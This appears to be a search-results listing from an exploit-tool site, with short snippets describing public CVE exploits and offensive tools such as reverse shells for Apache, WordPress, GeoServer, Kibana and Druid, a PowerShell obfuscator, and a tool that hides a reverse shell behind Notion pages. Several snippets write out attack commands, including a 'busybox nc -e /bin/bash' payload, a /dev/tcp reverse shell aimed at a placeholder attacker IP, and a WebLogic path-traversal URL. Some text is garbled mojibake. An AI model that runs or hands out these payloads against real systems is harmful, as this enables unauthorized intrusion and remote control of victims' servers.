2532 matches found
CVE-2025-24893
Reverse shell for CVE-2025-24893 root@kitploit: python3 CVE-2025-24893.py -u http://wiki.editor.htb/ -c "busybox nc -e /bin/bash" upgrade the shell 1. python3 -c 'import pty; pty.spawn"/bin/bash"' 2. ctrl + z 3. stty size 4. stty raw -echo; fg 5. stty rows x columns y 6. export TERM=xterm...
CVE-2021-42013_Reverse-Shell
CVE-2021-42013Reverse-Shell PoC CVE-2021-42013 reverse shell Apache 2.4.50 with CGI Usage : root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT More info: root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083...
CVE-2020-14882
CVE-2020-14882 coherence shellsession calc.exe root@kitploit: import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' ...
CVE-2025-5548
๐ CVE-2025-5548 - FreeFloat FTP Server 1.0 Exploitation Professional vulnerability analysis & full remote buffer overflow exploitation ๐ฏ Project Highlights Complete real-world case study of CVE-2025-5548 remote stack-based buffer overflow in FreeFloat FTP Server 1.0 via NOOP command Manual tool...
CVE-2025-22457
PoC for CVE-2025-22457 A remote unauthenticated stack based buffer overflow affecting Ivanti Connect Secure, Pulse Connect Secure, Ivanti Policy Secure, and ZTA Gateways Overview This is a proof of concept exploit to demonstrate exploitation of CVE-2025-22457. For a complete technical analysis of...
CVE-2023-41425-RCE-WonderCMS-4.3.2
๐จ WonderCMS RCE Exploit Tool CVE-2023-41425 This Python-based offensive security tool automates the exploitation of a Remote Code Execution RCE vulnerability in WonderCMS 4.3.2 , specifically CVE-2023-41425. It streamlines the process of crafting a malicious ZIP theme module and delivering a...
CVE-2019-7609
CVE-2019-7609 New CVE-2019-7609 which works with python 13 exploit CVE-2019-7609kibana RCE on right way by python3 scripts Reference: https://github.com/LandGrey/CVE-2019-7609 snapshot usage root@kitploit: usage: python3 CVE-2019-7609-kibana-rce.py -h -u URL -host REMOTEHOST -port REMOTEPORT...
Invoke-PSObfuscation
Invoke-PSObfuscation Traditional obfuscation techniques tend to add layers to encapsulate standing code, such as base64 or compression. These payloads do continue to have a varied degree of success, but they have become trivial to extract the intended payload and some launchers get detected often...
CVE-2024-27956
๐จPOC RELEASED๐จPoC for SQL Injection leads to RCE in Wordpress released CVE-2024-27956. WordPress Admin Account Creation and Reverse Shell cve-2024-27956 Usage- sudo python3 cve.py...
CVE-2023-0830
CVE-2023-0830: EasyNAS 1.1.0 Authenticated OS Command Injection Exploit This Python script is a powerful exploit for EasyNAS version 1.1.0 with enhanced functionality, including an integrated listener. The vulnerability exploited is a command injection flaw, which requires authentication. The...
notionterm
notionterm Embed reverse shell inNotion pages. Hack while taking notes FOR โ: Hiding attacker IP in reverse shell No direct interaction between attacker and target machine. Notion is used as a proxy hosting the reverse shell Demo/Quick proof insertion within report High available and shareable...
notionterm
notionterm Notionใใผใธใซใชใใผในใทใงใซใๅใ่พผใ ใกใขใๅใใชใใใใใญใณใฐ ใใใชใจใใซ โ: ใชใใผในใทใงใซใงๆปๆ่ ใฎIPใ้ ใใใ ๆปๆ่ ใจใฟใผใฒใใใใทใณใ็ดๆฅ้ไฟกใใชใใNotionใใชใใผในใทใงใซใใในใใใใใญใญใทใจใใฆๆฉ่ฝ ใฌใใผใๅ ใงใฎใใข/ใฏใคใใฏใใซใผใใฎๆฟๅ ฅ ้ซๅฏ็จๆงใงๅ ฑๆๅฏ่ฝใชใชใใผในใทใงใซ ใในใฏใใใใใใฉใฆใถใใขใใคใซ ๆๅทๅใใใณ่ช่จผใใใใชใขใผใใทใงใซ ใใใใใจใใฏไฝฟใใชใ โ: ้ทๆ้ใฎใคใณใฟใฉใฏใใฃใใทใงใซใปใใทใงใณ ใใฎๅ ดๅใฏtacosใๅ็ ง ใชใ๏ผ ๐ค...
CVE-2024-36401
RCE for CVE-2024-36401 POC for CVE-2024-36401 GeoServer. This POC will attempt to establish a reverse system shell from the targets. Overview POC for CVE-2024-36401: RCE for GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer. This POC is based on the security advisory by phith0n. H...
CVE-2022-46196
CVE-2022-46196 Description This Python code exploits an unauthenticated command injection vulnerability in Cacti versions up to and including 1.2.22. It uses argparse to parse arguments from the command line, requests to get the HTML content of a target Cacti instance, and BeautifulSoup to extrac...
CVE-2023-43208-PoC
CVE-2023-43208 - Mirth Connect Unauthenticated RCE Requirements Python 3.11 or higher tested on 3.11, 3.12, 3.13 Setup root@kitploit: Create a clean virtual environment python3 -m venv .venv source .venv/bin/activate Install pinned dependencies pip install -r requirements.txt Usage root@kitploit:...
CVE-2017-7269
EN GenWebDavIISExploit is a PoC tool demonstrating an exploit for a known vulnerability in the WebDAV component of IIS6. This tool is designed for educational and research purposes to showcase how the vulnerability can be leveraged to execute arbitrary code on a remote server. Disclaimer This...
CVE-2018-17246
CVE-2018-17246 - Kibana LFI There is no input validation so we can change the name of the JavaScript file to anything we want. In this case, with the path traversal technique, we can choose any file on the Kibana server. One thing to be aware of, however, is node's module caching feature...
RevShell
๐ฅ RevShell Project โ Advanced Windows Reverse Shell root@kitploit: โโโโโโ โโโโโโ โโโ โโ โโโโโโ โโโ โโ โโโโโโ โโโ โโโ โโโ โ โโโโโ โ โโโโ โโ โโโ โ โโโโ โโโ โโ โ โโโโ โโโโ โโโ โโโ โโโโโ โโโ โโโ โ โโโโ โโโโโโโโ โโโโ โโโโ โโโโ โโโโโโโ โโโ โ โโโ โโโ โ โโโโโโ โโโ โโโ โ โโโโ โโโโ โโโโ โโโโโโโโโโโ โโโโ...
CVE-2024-40453
CVE-2024-40453 - Squirrelly v9.0.0 RCE Disclaimer: This script is for educational use only. Do not use it for illegal purposes. If you do, itโs entirely your responsibility; I am not liable for any misuse. Description This script creates a reverse shell called payload.sh in the current directory...
CVE-2021-25646
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse shell as follows: Write reverse shell script python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Grant execution permission to the shell script python3 CVE-2021-25646.py -u...